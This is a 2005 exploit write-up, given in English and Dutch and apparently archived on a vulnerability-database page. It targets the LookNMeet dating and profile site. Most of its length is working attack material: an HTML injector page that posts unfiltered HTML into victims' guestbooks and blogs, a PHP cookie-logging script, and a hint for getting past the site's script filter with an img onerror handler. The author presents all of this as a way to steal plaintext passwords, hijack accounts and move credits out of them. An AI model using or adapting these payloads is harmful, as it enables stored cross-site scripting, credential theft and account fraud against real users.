Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:7995
HistoryMar 05, 2005 - 12:00 a.m.

LOOKNMEET HTML INJECT EXPLOIT

2005-03-0500:00:00
vulners.com
8

LOOKNMEET HTML INJECT EXPLOIT
- By PPC^Rebyte


                          27feb2005

*** SEE BELOW FOR DUTCH VERSION***
*** NEDERLANDSE VERSIE ONDERAAN***

( ENGLISH VERSION )

*** Status


The vendor (AfterTheHype) is informed about this bug by Rebyte security
on 04 march 2005. Expect updated service soon.

1* Intro


LookNMeet is a service from vender AfterTheHype to make your own profile
and to meet new people.

A bug in the service makes it possible to inject your own HTML code in
someone's guestbook or in your own blog, which makes it possible for you
to make your blog or someone's guestbook really special because you can
inject HTML to your likings. It should also be possible to steal someone's
password because the passwords are stored in plain text in a cookie.

Former misuse of the bug caused LookNMeet to patch their service, but not
fully. You can still inject HTML code, but you can't -directly- inject
<script> or <iframe> tags anymore, but of course there are ways to work
around thisโ€ฆ

Following: an article about how we hacked LookNMeet profiles and made
our blog and guestbook messages really special :)

2* Writing HTML Injection Script


A simple HTML script with the use of forms is sufficient to inject pure HTML
into LookNMeet.

Example Script:



โ€“ LNMinject.html โ€“

<html>
<head>
<title>LookNMeet HTML InjectoR * by PPC</title>
</head>
<body>

<b><font size="5" color="#FF0000">LookNMeet HTML InjectoR Xploit</font><br />

  • by PPC -</b>

<br /><br /><font color="#888888">Warning: You have to be logged in to
LookNMeet and have Cookies enabled to use this xploit.</font>

 &lt;!-- FORM TO SIGN GUESTBOOK --&gt;

<form action="http://www.looknmeet.be/members/gbook_sign.html&quot; method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
<tr>
<td>
<hr align="left" width="550" /><b><font size="5">Inject To Guestbook</font>
</b><br /><br />

&lt;/td&gt;

</tr>
<tr>
<td>

 &lt;!-- &quot;LOOKID&quot; HAS THE UNIQUE GUESTBOOK USER ID OF THE GUESTBOOK
      WHERE WE WANT TO INJECT OUR HTML TO --&gt;

Guestbook User ID: <input type="text" name="lookid" value=""
maxlength="100" size="50"><br />

Title: <input type="text" name="title" value="" maxlength="100" size="50">
<br /><br />HTML Code:<br />

 &lt;!-- &quot;DESCR&quot; IS THE HTMLCODE THAT WOULD -NORMALLY- GET FILTERED --&gt;

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
</tr>
<tr>
<td colspan="2">

 &lt;!-- WE CAN USE A &#39;REAL TEXT EDITOR&#39; -
      &#40;NEEDED TO INJECT HTML&#41; --&gt;

&lt;input type=&quot;hidden&quot; name=&quot;RTEavailable&quot; value=&quot;yes&quot;&gt;

</tr>
<tr>
<td colspan="2">ย </td>
</tr>
<tr>
<td>
<input type="submit" name="cancel" value=" Annuleren ">
<input type="submit" name="finish" value=" Invoegen ">
</td>
</tr>

<tr>
</tr>
</table>

</form>
</td>
</tr>
</table>

 &lt;!-- FORM TO WRITE INTO BLOG --&gt;

<form action="http://www.looknmeet.be/owner/blog_add.html&quot; method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
<tr>
<td>
<hr align="left" width="550" /><b><font size="5">Inject To Blog</font>
</b><br />

&lt;/font&gt;&lt;br /&gt;
Mood: &lt;select name=&quot;moodid&quot;&gt;

&lt;option value=&quot;0&quot; selected&gt;Neutral&lt;/option&gt;

&lt;option value=&quot;1&quot; &gt;Sad&lt;/option&gt;

&lt;option value=&quot;2&quot; &gt;Happy&lt;/option&gt;

&lt;option value=&quot;3&quot; &gt;Mad&lt;/option&gt;

&lt;/td&gt;

</tr>
<tr>
<td>Title: <input type="text" name="title" value="" maxlength="100"
size="50"><br /><br />HTML Code:<br />

 &lt;!-- &quot;DESCR&quot; IS THE HTMLCODE THAT WOULD -NORMALLY- GET FILTERED --&gt;

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
</tr>
<tr>
<td colspan="2">

 &lt;!-- WE CAN USE A &#39;REAL TEXT EDITOR&#39; -
      &#40;NEEDED TO INJECT HTML&#41; --&gt;

&lt;input type=&quot;hidden&quot; name=&quot;RTEavailable&quot; value=&quot;yes&quot;&gt;

</tr>
<tr>
<td colspan="2">ย </td>
</tr>
<tr>
<td>
<input type="submit" name="cancel" value=" Cancel ">
<input type="submit" name="finish" value=" Inject ">
</td>
</tr>

<tr>
</tr>
</table>

</form>
</td>
</tr>
</table>

</body>
</html>


3* Injecting Basic HTML


Now you can inject simple HTML code by using your new HTML-written exploit.
Just open the page you made and fill in the HTML code :)

4* Stealing Cookies (passwords)


All LookNMeet users' password is stored as plaintext in a cookie. By using a
little script we should be able to write this cookie to a textfileโ€ฆ

We could make a PHP file that logs the cookie of users who visit your blog
or a guestbook and which stores the cookie in a text file. In order to do this
we would need the following file:


โ€“ log.php โ€“

<title>x</title>
<?
echo $log;
$log = $log . "\n";
$fp=fopen("file.txt","a+");
fputs($fp,$log);
fclose($fp);
?>


And we make a new empty file and name it "file.txt".
We also give "file.txt" all write and read access so there will be no problems
when writing data to it (CHMOD 777).

Now we have to inject a code into LookNMeet that passes on the cookie to
"log.php". Since LNM has already integrated better filtering by blocking
<script> and <iframe> tags, it has become harder to write a working script,
but by trying out things you should be able to write one anyway.
(Try to f*ck around with <img src="re.byte" onerror="JAVASCRIPT" />)

You now have the password of everyone who visits the page you injected
the code to in "file.txt" :)

5* Outro


THE.END

you can use this exploit to
- make your pages stand out by using pure HTML
* - hack LNM accounts
* - transfer credits from someone's account to yours

Greetings 2 everyone at Rebyte and the whole Belgian scene !!

                                             -- PPC^Rebyte --
                                     -- [email protected] --

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

( NEDERLANDSE VERSIE )

*** Status


De uitgever (AfterTheHype) is over deze bug geะฟnformeerd door Rebyte security
op 04 maart 2005. verwacht binnenkort een service update.

1* Intro


LookNMeet is een dienst van AfterTheHype om zelf je eigen profiel
aan te maken en om nieuwe mensen te ontmoeten.

Een bug zorgt ervoor dat het mogelijk is om zelf HTML code te injecteren
in iemand zijn gastenboek of in je eigen blog, hierdoor is het bv. mogelijk
een gastenboek of je blog 'specialer' te maken en om iemand zijn paswoord
te achterhalen in gewoon tekstformaat! (want LookNMeet slaat paswoorden
op in een cookie zonder encryptie)

Deze bug is even geleden -gedeeltelijk- gepatched waardoor het niet meer
mogelijk is om <script> tags en iframe's te injecteren, wat nodig was om
bv. het paswoord van iemand te achterhalen, maar daar zijn ook andere
manieren voor :)

Een uitgebreid artikel hoe we LookNMeet profielen konden hacken en om je
blog of je gastenboekberichten 'specialer' te maken :)

2* HTML Injectie Script Schrijven


Een simpel HTML scriptje met het gebruik van Forms voldoet om de HTML in
LookNMeet te injecteren.

Voorbeeld Script:



โ€“ LNMinject.html โ€“

<html>
<head>
<title>LookNMeet HTML InjectoR * by PPC</title>
</head>
<body>

<b><font size="5" color="#FF0000">LookNMeet HTML InjectoR Xploit</font><br />

  • by PPC -</b>

<br /><br /><font color="#888888">Opgelet: Je moet reeds ingelogd zijn en
gebruik maken van cookies om deze exploit te gebruiken.</font>

 &lt;!-- FORM OM HET GASTENBOEK TE TEKENEN --&gt;

<form action="http://www.looknmeet.be/members/gbook_sign.html&quot; method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
<tr>
<td>
<hr align="left" width="550" /><b><font size="5">Inject Naar Gastenboek</font>
</b><br /><br />

&lt;/td&gt;

</tr>
<tr>
<td>

 &lt;!-- &quot;LOOKID&quot; BEVAT HET UNIEKE GASTENBOEK GEBRUIKER ID VAN HET GASTENBOEK
      WAARIN WE CODE WILLEN INJECTEREN --&gt;

Gastenboek Gebruiker ID: <input type="text" name="lookid" value=""
maxlength="100" size="50"><br />

Titel: <input type="text" name="title" value="" maxlength="100" size="50">
<br /><br />HTML Code:<br />

 &lt;!-- &quot;DESCR&quot; IS DE HTMLCODE DIE -NORMAAL- GEFILTERD WERD --&gt;

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
</tr>
<tr>
<td colspan="2">

 &lt;!-- WE KUNNEN EEN REAL TEXT EDITOR GEBRUIKEN -
      NODIG OM HTML TE INJECTEREN --&gt;

&lt;input type=&quot;hidden&quot; name=&quot;RTEavailable&quot; value=&quot;yes&quot;&gt;

</tr>
<tr>
<td colspan="2">ย </td>
</tr>
<tr>
<td>
<input type="submit" name="cancel" value=" Annuleren ">
<input type="submit" name="finish" value=" Invoegen ">
</td>
</tr>

<tr>
</tr>
</table>

</form>
</td>
</tr>
</table>

 &lt;!-- FORM OM IN JE BLOG TE SCHRIJVEN --&gt;

<form action="http://www.looknmeet.be/owner/blog_add.html&quot; method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
<tr>
<td>
<hr align="left" width="550" /><b><font size="5">Inject Naar Blog</font>
</b><br />

&lt;/font&gt;&lt;br /&gt;
Humeur: &lt;select name=&quot;moodid&quot;&gt;

&lt;option value=&quot;0&quot; selected&gt;Neutraal&lt;/option&gt;

&lt;option value=&quot;1&quot; &gt;Verdrietig&lt;/option&gt;

&lt;option value=&quot;2&quot; &gt;Gelukkig&lt;/option&gt;

&lt;option value=&quot;3&quot; &gt;Kwaad&lt;/option&gt;

&lt;/td&gt;

</tr>
<tr>
<td>Titel: <input type="text" name="title" value="" maxlength="100"
size="50"><br /><br />HTML Code:<br />

 &lt;!-- &quot;DESCR&quot; IS DE HTMLCODE DIE -NORMAAL- GEFILTERD WERD --&gt;

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
</tr>
<tr>
<td colspan="2">

 &lt;!-- WE KUNNEN EEN REAL TEXT EDITOR GEBRUIKEN -
      NODIG OM HTML TE INJECTEREN --&gt;

&lt;input type=&quot;hidden&quot; name=&quot;RTEavailable&quot; value=&quot;yes&quot;&gt;

</tr>
<tr>
<td colspan="2">ย </td>
</tr>
<tr>
<td>
<input type="submit" name="cancel" value=" Annuleren ">
<input type="submit" name="finish" value=" Invoegen ">
</td>
</tr>

<tr>
</tr>
</table>

</form>
</td>
</tr>
</table>

</body>
</html>


3* Basic HTML Injecteren


Nu kan je door middel van je gemaakte HTML script gastenboeken en je blog
speciaal maken door eigen HTML code in te voeren :)
Gewoon je HTML pagina openen en HTML code invoeren :)

4* Cookies (paswoorden) Stelen


Het paswoord van iedereen die je pagina bezoekt wordt opgeslagen als gewone
tekst in een cookie. Door middel van een script zouden we deze cookie ongemerkt
naar een bestand moeten kunnen schrijvenโ€ฆ

We zouden een PHP bestand kunnen aanmaken dat de cookies logt en opslaat in een
tekstbestandโ€ฆ Dan hebben we dit bestand nodig:


โ€“ log.php โ€“

<title>x</title>
<?
echo $log;
$log = $log . "\n";
$fp=fopen("file.txt","a+");
fputs($fp,$log);
fclose($fp);
?>


En we maken een nieuw leeg bestand aan en noemen dit "file.txt".
We geven "file.txt" ook alle schrijf- en leesrechten zodat er zonder
problemen gegevens naar geschreven kunnen worden (CHMOD 777).

We moeten nu een code in LookNMeet injecteren waardoor de cookie aan "log.php"
wordt doorgegeven. Gezien LNM nu betere filtering heeft door het blokkeren van
<script> en <iframe> tags is het wel moeilijker geworden om een juist script
te zoeken, maar met een kleine omweg is dit wel mogelijk.
(Probeer wat rond te prutsen met <img src="re.byte" onerror="JAVASCRIPT" />)

Je hebt nu het paswoord van iedereen die de pagina bezoekt waarin je
deze code hebt geะฟnjecteerd in het bestand "file.txt" staan :)

5* Outro


THE.END

Je kan deze exploit onder andere gebruiken om
- je pagina's wat specialer te maken
* - accounts te hacken
* - credits over te plaatsen van gehacte accounts

Greetings 2 everyone at Rebyte en de hele Belgische scene !!

                                             -- PPC^Rebyte --
                                     -- [email protected] --